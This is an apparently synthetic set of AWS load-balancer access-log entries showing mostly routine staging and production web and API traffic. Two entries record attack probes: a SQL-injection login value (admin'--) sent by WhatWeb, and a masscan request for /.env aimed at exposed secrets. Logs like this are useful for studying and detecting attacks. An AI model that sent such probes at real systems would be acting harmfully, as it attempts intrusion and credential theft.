"200" "-" "-" -https 2024-11-01T01:18:26.097850Z staging-alb 198.221.176.50:31104 165.247.164.102:8080 0.060605 0.356736 0.126495 200 200 710 2548 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9f2-a4f54caede534033801b02ea" "staging-alb.example.com" "-" 2 2024-11-01T01:18:26.097850Z "forward" "-" "-" "165.247.164.102:8080" "200" "-" "-" -https 2024-11-01T01:18:27.980298Z staging-alb 77.82.182.18:59650 217.187.51.138:443 0.022594 0.289742 0.069311 200 200 634 5206 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9f3-1565b37cd03244028529dbaa" "staging-alb.example.com" "-" 5 2024-11-01T01:18:27.980298Z "forward" "-" "-" "217.187.51.138:443" "200" "-" "-" -https 2024-11-01T01:18:29.005914Z staging-alb 246.16.108.87:21797 173.211.245.32:80 0.144208 0.164991 0.088806 200 200 789 3835 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9f5-16ec65b4b09e49a6b534e98c" "staging-alb.example.com" "-" 4 2024-11-01T01:18:29.005914Z "forward" "-" "-" "173.211.245.32:80" "200" "-" "-" -https 2024-11-01T01:18:30.612447Z prod-web-alb 98.231.44.233:35566 10.0.39.205:443 0.089406 0.262450 0.031137 301 301 961 14375 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9f6-51c5bde22da746e5af13bd1c" "prod-web-alb.example.com" "-" 5 2024-11-01T01:18:30.612447Z "forward" "-" "-" "10.0.39.205:443" "301" "-" "-" -https 2024-11-01T01:18:31.757559Z prod-api-alb 28.26.58.226:46308 10.0.235.10:443 0.031452 0.203200 0.018268 200 200 234 8039 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9f7-8fa6da942db6478096d3c05d" "prod-api-alb.example.com" "-" 6 2024-11-01T01:18:31.757559Z "forward" "-" "-" "10.0.235.10:443" "200" "-" "-" -https 2024-11-01T01:18:33.138370Z prod-api-alb 163.40.21.200:21562 10.0.246.200:443 0.060079 0.284916 0.064033 302 302 580 6209 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9f9-1da798cf67ec443f914eb830" "prod-api-alb.example.com" "-" 4 2024-11-01T01:18:33.138370Z "forward" "-" "-" "10.0.246.200:443" "302" "-" "-" -https 2024-11-01T01:18:33.669372Z staging-alb 6.69.21.178:23991 99.32.23.6:80 0.045799 0.637203 0.041780 301 301 167 7430 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9f9-a549b149db3b4d5eb2aee4fb" "staging-alb.example.com" "-" 8 2024-11-01T01:18:33.669372Z "forward" "-" "-" "99.32.23.6:80" "301" "-" "-" -https 2024-11-01T01:18:34.714861Z staging-alb 58.238.74.60:25821 8.0.188.101:8080 0.041523 0.237234 0.125847 200 200 811 10576 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9fa-c15fa48f6bcc45668e8dbd38" "staging-alb.example.com" "-" 9 2024-11-01T01:18:34.714861Z "forward" "-" "-" "8.0.188.101:8080" "200" "-" "-" -https 2024-11-01T01:18:36.397832Z prod-web-alb 24.165.165.204:49403 10.0.80.109:443 0.073611 0.340272 0.069013 200 200 720 8877 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9fc-795c122f4fb84ac1b21899e1" "prod-web-alb.example.com" "-" 8 2024-11-01T01:18:36.397832Z "forward" "-" "-" "10.0.80.109:443" "200" "-" "-" -https 2024-11-01T01:18:37.913495Z prod-web-alb 255.68.248.0:40173 10.0.236.17:443 0.030004 0.321163 0.045150 301 301 234 12955 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9fd-40c5a45d9ced424b94c4bb09" "prod-web-alb.example.com" "-" 1 2024-11-01T01:18:37.913495Z "forward" "-" "-" "10.0.236.17:443" "301" "-" "-" -https 2024-11-01T01:18:38.591187Z prod-api-alb 220.121.17.241:64783 10.0.203.63:443 0.013635 0.139893 0.070600 200 200 553 8773 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9fe-43c96e098be14bf584841976" "prod-api-alb.example.com" "-" 9 2024-11-01T01:18:38.591187Z "forward" "-" "-" "10.0.203.63:443" "200" "-" "-" -https 2024-11-01T01:18:39.559407Z prod-web-alb 189.56.207.113:33902 10.0.93.86:443 0.024079 0.390574 0.008835 302 302 900 14026 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9ff-f127c9bdb797470eafe40e00" "-" "-" 0 2024-11-01T01:18:39.559407Z "forward" "-" "-" "10.0.93.86:443" "302" "-" "-" -https 2024-11-01T01:18:40.275788Z prod-web-alb 133.69.247.246:52595 10.0.252.15:443 0.012855 0.418135 0.000184 404 404 903 879 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca00-502f595f33e44410960e2bbd" "prod-web-alb.example.com" "-" 10 2024-11-01T01:18:40.275788Z "forward" "-" "-" "10.0.252.15:443" "404" "-" "-" -http 2024-11-01T01:18:41.312337Z staging-alb 193.27.228.131:31385 23.4.42.99:443 0.010564 0.322760 0.012909 200 200 330 967 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca01-e75cc895dba24358acf633ba" "-" "-" 8 2024-11-01T01:18:41.312337Z "forward" "-" "-" "23.4.42.99:443" "200" "-" "-" -https 2024-11-01T01:18:42.648508Z prod-api-alb 143.169.101.111:30581 10.0.61.22:443 0.007750 0.340388 0.071648 404 404 606 9167 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca02-2eaf1427d2eb445ca4e19b80" "prod-api-alb.example.com" "-" 7 2024-11-01T01:18:42.648508Z "forward" "-" "-" "10.0.61.22:443" "404" "-" "-" -http 2024-11-01T01:18:43.976390Z staging-alb 169.220.8.151:27848 72.243.94.30:443 0.114210 0.683645 0.023270 200 200 564 8818 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca03-e84d7838d0b54947916a9c74" "staging-alb.example.com" "-" 1 2024-11-01T01:18:43.976390Z "forward" "-" "-" "72.243.94.30:443" "200" "-" "-" -http 2024-11-01T01:18:45.369707Z staging-alb 58.231.232.15:30333 176.233.26.89:80 0.084228 0.310526 0.115445 200 200 98 1052 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca05-64a636d66f324dbd9705cea5" "staging-alb.example.com" "-" 10 2024-11-01T01:18:45.369707Z "forward" "-" "-" "176.233.26.89:80" "200" "-" "-" -https 2024-11-01T01:18:47.120217Z prod-api-alb 36.168.113.31:15285 10.0.124.214:443 0.022004 0.161952 0.000154 404 404 967 5448 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca07-dbbee8c1036d4cb0b49158c6" "prod-api-alb.example.com" "-" 6 2024-11-01T01:18:47.120217Z "forward" "-" "-" "10.0.124.214:443" "404" "-" "-" -https 2024-11-01T01:18:47.290983Z prod-api-alb 243.112.204.97:18535 10.0.72.206:443 0.074601 0.312522 0.071428 200 200 358 12673 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca07-e555e3f30a7e417dbb5e0be8" "prod-api-alb.example.com" "-" 7 2024-11-01T01:18:47.290983Z "forward" "-" "-" "10.0.72.206:443" "200" "-" "-" -http 2024-11-01T01:18:47.909964Z staging-alb 170.142.155.236:32807 182.126.136.100:8080 0.002474 0.251873 0.006778 302 302 704 780 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca07-abfefb4ce3c24dfbbce9216e" "staging-alb.example.com" "-" 2 2024-11-01T01:18:47.909964Z "forward" "-" "-" "182.126.136.100:8080" "302" "-" "-" -https 2024-11-01T01:18:48.310417Z prod-web-alb 100.42.241.111:61426 10.0.247.225:443 0.008502 0.329580 0.052768 301 301 919 4101 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca08-ea0eface52634eebb648cc50" "prod-web-alb.example.com" "-" 6 2024-11-01T01:18:48.310417Z "forward" "-" "-" "10.0.247.225:443" "301" "-" "-" -https 2024-11-01T01:18:48.612131Z prod-web-alb 160.96.113.238:21101 10.0.150.113:443 0.082194 0.015790 0.030439 200 200 964 12092 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca08-5dce669384b244e28ae0df61" "prod-web-alb.example.com" "-" 0 2024-11-01T01:18:48.612131Z "forward" "-" "-" "10.0.150.113:443" "200" "-" "-" -https 2024-11-01T01:18:50.246085Z prod-web-alb 185.138.57.235:60341 10.0.219.187:443 0.092021 0.282513 0.041139 200 200 885 14868 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca0a-e0d569e40ae94000883f934b" "prod-web-alb.example.com" "-" 4 2024-11-01T01:18:50.246085Z "forward" "-" "-" "10.0.219.187:443" "200" "-" "-" -https 2024-11-01T01:18:51.264799Z prod-api-alb 193.27.228.79:60307 10.0.41.49:443 0.023788 0.184133 0.020796 403 403 217 2818 "POST /.env HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca0b-5f8b7c28cd6047c9bb12f9a1" "-" "-" 4 2024-11-01T01:18:51.264799Z "forward" "-" "-" "10.0.41.49:443" "403" "-" "-" -https 2024-11-01T01:18:51.537907Z prod-web-alb 18.143.189.206:30997 10.0.43.252:443 0.010068 0.416646 0.077757 200 200 457 7714 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca0b-e17c7ac360d14a7c9b1f7b22" "prod-web-alb.example.com" "-" 1 2024-11-01T01:18:51.537907Z "forward" "-" "-" "10.0.43.252:443" "200" "-" "-" -https 2024-11-01T01:18:52.947806Z prod-api-alb 130.160.236.108:21544 10.0.52.64:443 0.059168 0.461668 0.027293 200 200 474 6734 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca0c-b81a38b57e6749f5aa9e698b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:18:52.947806Z "forward" "-" "-" "10.0.52.64:443" "200" "-" "-" -https 2024-11-01T01:18:53.464366Z prod-api-alb 219.3.45.28:55429 10.0.34.136:443 0.017753 0.225136 0.012207 404 404 776 12391 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca0d-e114925546b04dff98625d6d" "prod-api-alb.example.com" "-" 1 2024-11-01T01:18:53.464366Z "forward" "-" "-" "10.0.34.136:443" "404" "-" "-" -https 2024-11-01T01:18:54.578518Z prod-web-alb 223.130.106.220:13503 10.0.42.20:443 0.096925 0.455888 0.054631 200 200 767 4497 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca0e-3c822974d8824513afe14264" "prod-web-alb.example.com" "-" 10 2024-11-01T01:18:54.578518Z "forward" "-" "-" "10.0.42.20:443" "200" "-" "-" -https 2024-11-01T01:18:55.802503Z prod-web-alb 247.136.43.126:54901 10.0.112.139:443 0.003751 0.458122 0.040207 302 302 9 10343 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca0f-6d5cca1f8c704b88994ac0d5" "prod-web-alb.example.com" "-" 1 2024-11-01T01:18:55.802503Z "forward" "-" "-" "10.0.112.139:443" "302" "-" "-" -http 2024-11-01T01:18:56.030331Z staging-alb 250.36.43.41:36506 141.166.113.43:443 0.052490 0.339539 0.127989 200 200 540 3128 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca10-d7e0f43d4cea44f19d85a881" "staging-alb.example.com" "-" 0 2024-11-01T01:18:56.030331Z "forward" "-" "-" "141.166.113.43:443" "200" "-" "-" -https 2024-11-01T01:18:56.909496Z prod-api-alb 15.103.184.208:31847 10.0.132.112:443 0.021656 0.090049 0.072862 200 200 908 676 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca10-0d4860a96a3d43bdbf57e32c" "prod-api-alb.example.com" "-" 7 2024-11-01T01:18:56.909496Z "forward" "-" "-" "10.0.132.112:443" "200" "-" "-" -https 2024-11-01T01:18:57.632146Z prod-web-alb 238.178.206.73:20642 10.0.227.64:443 0.053083 0.305652 0.086932 200 200 453 8664 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca11-2b8889df54d746e2aceb6ea6" "prod-web-alb.example.com" "-" 2 2024-11-01T01:18:57.632146Z "forward" "-" "-" "10.0.227.64:443" "200" "-" "-" -https 2024-11-01T01:18:58.869408Z prod-api-alb 60.21.237.22:54310 10.0.61.93:443 0.093746 0.409812 0.079106 200 200 437 10375 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca12-0962c315326a4a61ae099b74" "prod-api-alb.example.com" "-" 9 2024-11-01T01:18:58.869408Z "forward" "-" "-" "10.0.61.93:443" "200" "-" "-" -https 2024-11-01T01:18:59.260528Z prod-web-alb 219.167.207.170:37514 10.0.122.31:443 0.055746 0.374016 0.013904 404 404 336 14720 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca13-aebb5aad7e7e4b9a8645c36d" "prod-web-alb.example.com" "-" 3 2024-11-01T01:18:59.260528Z "forward" "-" "-" "10.0.122.31:443" "404" "-" "-" -http 2024-11-01T01:18:59.698756Z staging-alb 3.214.37.144:15431 236.211.134.80:443 0.149580 0.359154 0.025629 302 302 119 13295 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca13-86cd8acf9f8d46c4a7f77ccb" "staging-alb.example.com" "-" 1 2024-11-01T01:18:59.698756Z "forward" "-" "-" "236.211.134.80:443" "302" "-" "-" -https 2024-11-01T01:19:01.601848Z prod-web-alb 14.22.172.250:47821 10.0.148.39:443 0.071568 0.217254 0.011815 200 200 245 3493 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca15-baf4fa5575f948efa1fc7c29" "prod-web-alb.example.com" "-" 9 2024-11-01T01:19:01.601848Z "forward" "-" "-" "10.0.148.39:443" "200" "-" "-" -https 2024-11-01T01:19:03.554968Z prod-web-alb 39.195.38.167:16758 10.0.226.113:443 0.008283 0.202776 0.060172 302 302 240 10378 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca17-985c25345da94758ad053686" "prod-web-alb.example.com" "-" 10 2024-11-01T01:19:03.554968Z "forward" "-" "-" "10.0.226.113:443" "302" "-" "-" -https 2024-11-01T01:19:04.317766Z prod-api-alb 150.205.250.136:20948 10.0.148.60:443 0.052381 0.438610 0.050269 404 404 774 10483 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca18-f3fbab4142df4bd4a40739c5" "prod-api-alb.example.com" "-" 3 2024-11-01T01:19:04.317766Z "forward" "-" "-" "10.0.148.60:443" "404" "-" "-" -https 2024-11-01T01:19:04.882595Z staging-alb 20.98.94.82:61231 101.64.9.130:443 0.087527 0.177652 0.145931 200 200 922 8786 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca18-6c5c15feefdd4a15b6f4764d" "staging-alb.example.com" "-" 8 2024-11-01T01:19:04.882595Z "forward" "-" "-" "101.64.9.130:443" "200" "-" "-" -https 2024-11-01T01:19:06.353587Z prod-api-alb 165.104.142.119:36883 10.0.207.155:443 0.067185 0.255119 0.007750 200 200 329 8979 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca1a-9425552721c94c16858b2646" "prod-api-alb.example.com" "-" 1 2024-11-01T01:19:06.353587Z "forward" "-" "-" "10.0.207.155:443" "200" "-" "-" -https 2024-11-01T01:19:07.666234Z prod-api-alb 31.87.118.98:17716 10.0.222.22:443 0.066308 0.070777 0.092629 302 302 773 8045 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca1b-98e90e95dcba41bfa182e35b" "prod-api-alb.example.com" "-" 7 2024-11-01T01:19:07.666234Z "forward" "-" "-" "10.0.222.22:443" "302" "-" "-" -https 2024-11-01T01:19:07.943207Z prod-web-alb 214.54.98.139:28017 10.0.225.147:443 0.053952 0.185412 0.092321 301 301 696 10094 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca1b-de1a2e0856f246d69d5c7e87" "prod-web-alb.example.com" "-" 5 2024-11-01T01:19:07.943207Z "forward" "-" "-" "10.0.225.147:443" "301" "-" "-" -https 2024-11-01T01:19:09.738630Z prod-web-alb 187.13.50.213:64390 10.0.52.63:443 0.075597 0.057545 0.026902 200 200 819 13891 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca1d-71ac2fea38a840e5869daede" "prod-web-alb.example.com" "-" 5 2024-11-01T01:19:09.738630Z "forward" "-" "-" "10.0.52.63:443" "200" "-" "-" -https 2024-11-01T01:19:11.682613Z prod-api-alb 27.228.168.214:23721 10.0.72.96:443 0.050601 0.419479 0.006221 200 200 994 3016 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca1f-1ee6a93cf1544f9aa8281eb1" "prod-api-alb.example.com" "-" 6 2024-11-01T01:19:11.682613Z "forward" "-" "-" "10.0.72.96:443" "200" "-" "-" -https 2024-11-01T01:19:11.792396Z prod-api-alb 212.43.157.217:33861 10.0.112.72:443 0.040493 0.218166 0.048239 200 200 132 3849 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca1f-27e8b19ebb0a41299c5f50eb" "prod-api-alb.example.com" "-" 0 2024-11-01T01:19:11.792396Z "forward" "-" "-" "10.0.112.72:443" "200" "-" "-" -https 2024-11-01T01:19:12.005113Z staging-alb 200.218.149.182:43290 36.112.102.11:8080 0.069229 0.591991 0.126760 404 404 300 5607 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca20-038ec8baa48d40bf9bb88566" "staging-alb.example.com" "-" 6 2024-11-01T01:19:12.005113Z "forward" "-" "-" "36.112.102.11:8080" "404" "-" "-" -https 2024-11-01T01:19:12.684918Z prod-api-alb 79.185.146.203:33821 10.0.81.175:443 0.024569 0.202921 0.074058 302 302 138 10724 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca20-41641e5c4a744fada33803d0" "prod-api-alb.example.com" "-" 5 2024-11-01T01:19:12.684918Z "forward" "-" "-" "10.0.81.175:443" "302" "-" "-" -http 2024-11-01T01:19:14.508847Z staging-alb 91.52.227.50:41250 64.242.17.150:443 0.035645 0.473548 0.008979 302 302 692 11296 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca22-26edae1145ee4124adc7dc74" "staging-alb.example.com" "-" 6 2024-11-01T01:19:14.508847Z "forward" "-" "-" "64.242.17.150:443" "302" "-" "-" -http 2024-11-01T01:19:15.483691Z staging-alb 182.103.195.69:17551 255.62.170.10:443 0.129711 0.413521 0.133858 302 302 615 13363 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 